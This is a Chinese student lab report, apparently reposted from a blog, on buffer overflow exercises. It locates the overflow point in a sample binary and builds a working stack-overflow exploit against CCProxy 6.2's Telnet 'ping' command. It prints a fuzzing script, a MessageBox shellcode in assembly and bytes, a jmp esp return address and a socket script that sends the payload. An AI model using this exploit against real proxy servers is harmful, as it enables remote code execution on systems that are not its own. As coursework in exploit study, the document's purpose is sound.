缓冲区溢出实验

来源:互联网 发布:jquery定义json对象 编辑:程序博客网 时间:2024/05/20 22:03

缓冲区溢出实验

0x00 实验要求

1.请对stackoverflow.exe和CCProxy.rar的溢出点(即输入数据长度为多少时,程序会发生溢出)进行定位。
说明:stackoverflow的用法为:stackoverflow.exe+参数
CCProxy的用法为:设CCProxy的IP地址为ip,则在(远程主机)命令行下用:ping ip +参数;
2.根据你定位的溢出点,思考:如果你的Shellcode长度为500字节,那么在两种情况下,Shellcode放在参数的什么位置比较有利用执行?
3.在以上基础上完成一次shellcode的植入与运行。
要求(1):Shellcode功能不限,可以是开端口、运行计算器(记事本)、添加帐号等 均可。
(2)Shellcode要求能够以参数的方式植入并覆盖栈空间。
(3)返回地址的EIP处只能填写jmp esp指令地址,不得填写shellcode的地址硬编码。

0x01 stackoverflow

溢出点的分析

首先打开是一个需要输入字符的界面,为了简便分析,使用OllyDbg进行分析,尝试输入一些字符

这里写图片描述

进行单步调试,查看一下输入的字符在什么地方显示作用

这里写图片描述

因此,在刚刚的地方0x401130设置一个断点,然后进去仔细查看

这里写图片描述

发现刚刚输入的字符11111111,之后调试时发现被压入地址中,并且在后面会压一个结束00

这里写图片描述

并且发现下面有一个return0x401135这正好是第一次调试时显示完字符后的地址,通过分析,如果将输入的字符覆盖此时的0x401135,那样的话,返回地址将会被改变
先尝试一下16个1的情况1111111111111111,发现地址被改变成原本进入函数的先前地方

这里写图片描述

也就是说从0x401135变成了0x401100,此时程序每次运行到0x401130输出显示字符的时候便会有一次的重复操作,不会停止,无限循环

这里写图片描述

再尝试一下17个1的情况11111111111111111

这里写图片描述

也就是说,当输入20字节的时候,能够正好将返回地址覆盖

放入IDA中查看一下
这里写图片描述

只是一个简单的复制与输出代码,问题就在于复制的时候并没有进行长度控制,造成了溢出

0x02 CCProxy

CCProxy在代理Telnet协议时,可以接受 Ping命令

命令格式 : ping hostname \r\n

当hostname的长度过大时,CCProxy 6.2会发生缓冲区溢出,导致程序崩溃,首先我们先分析长度,定位ret,并且进行填充esp,补充shellcode

溢出点分析

初始时并不知道多长数据会使程序崩溃,这是写一个脚本自动发送

这里写图片描述

脚本

import telnetlibimport syshost='192.168.0.102'port = 23finish = ':~$ 'timeout = 3def telnet(command):    #global command    try:        tn = telnetlib.Telnet(host,port) # HOST      except:        print "Cannot open host"        return    tn.write(command+'\r\n')    msg = tn.read_until("$",timeout)    #tn.write("q\r\n")    tn.close()    print msg    return for i in range(1000,2000):      command = 'ping '+'a'*i    telnet(command)    print i

可以发现在1010字节以上都会发生溢出,先找出具体长度,发送1000个字节的a和一段Hacked by Ni9htMar3

这里写图片描述

放在OD中调试一下
这里写图片描述

这里写图片描述

可以知道返回地址正好是1012字节之后的地址

这里写图片描述

知道JMP ESP地址为0x7c93fcd8

首先,先利用VC写一个弹窗

#include <windows.h>int main(){    HINSTANCE libhandle;    char dllbuf[11] = "user32.dll";    libhandle = LoadLibrary(dllbuf);    _asm    {        sub esp,0x40        xor ebx,ebx        push ebx        push 0x20206465        push 0x6b636148        mov eax,esp        push ebx        push eax        push eax        push ebx        mov eax,0x77D507EA ;messageboxa        call eax        push ebx        mov eax,0x7C81CB12        call eax    }    return 0;}

其中我在里面需要计算开始与结束地址,打开Dependency,打开CCProxy,查看USER32.DLLMessageBox地址和USER32.DLL基地址,计算得出为0x77D507EA;然后查看KERNEL32.DLL,查看USER32.DLLExitProcess地址和KERNEL32.DLL基地址,计算得出为0x7C81CB12

这里写图片描述

这里写图片描述

成功弹出

这里写图片描述

然后放在OD中查看机器码

这里写图片描述

这个就是shellcode
然后写一个python脚本进行发送

注:本来一开始用telnetlib的,发现总是发送shellcode出现错误,调试发现有时会重复发送不应该出现的字符
这里写图片描述

改用socket连接
脚本

import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)host = '192.168.0.102'port = 23s.connect((host, port))string = s.recv(4096) print stringshellcode = '\x83\xec\x40\x33\xdb\x53\x68\x65\x64\x20\x20\x68\x48\x61\x63\x6B\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0'jmp = '\xd8\xfc\x93\x7c's.send('ping'    +'\x90'*4    + shellcode    +'\x41'*979    + jmp    +'\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'+'\r\n') string = s.recv(4096)print string

运行成功弹窗

这里写图片描述

这里写图片描述

放入IDA中查看

这里写图片描述

应该是这段代码,再复制发送的时候长度出现问题,呆滞溢出

0x03 出现的问题

  • 开始利用脚本telnetlib时发送shellcode,发现有时候被截断,有时候发送数据不一样,通过调试发现其发送的过程中总会发送一些不一样的东西导致传送数据失败
  • 在分析处理CCProxy的时候,总是不能弹窗,通过调试发现一开始我的shellcode过长,shellcode程序后面结束部分不知道为什么不复制过去,后来将shellcode长度缩小即可发送

0x04 实验总结

  • 由于是第一次进行OD,IDA的溢出调试工作,对工具使用上比较不熟,有时不知道该如何进行调试,在通过请教他人和查找资料后开始逐渐掌握
  • 在shellcode的书写方面,不懂,看了看看雪的相关学习资料,以及同学的教导,最终完成了自己的shellcode书写
  • 通过这次的实验,更好的理解了关于缓冲区溢出问题,以及发生问题的原因,更好的增进了自己对于漏洞的理解,提高了自己的动手实践能力,对自己陌生的区域有了进一步的了解
0 0
原创粉丝点击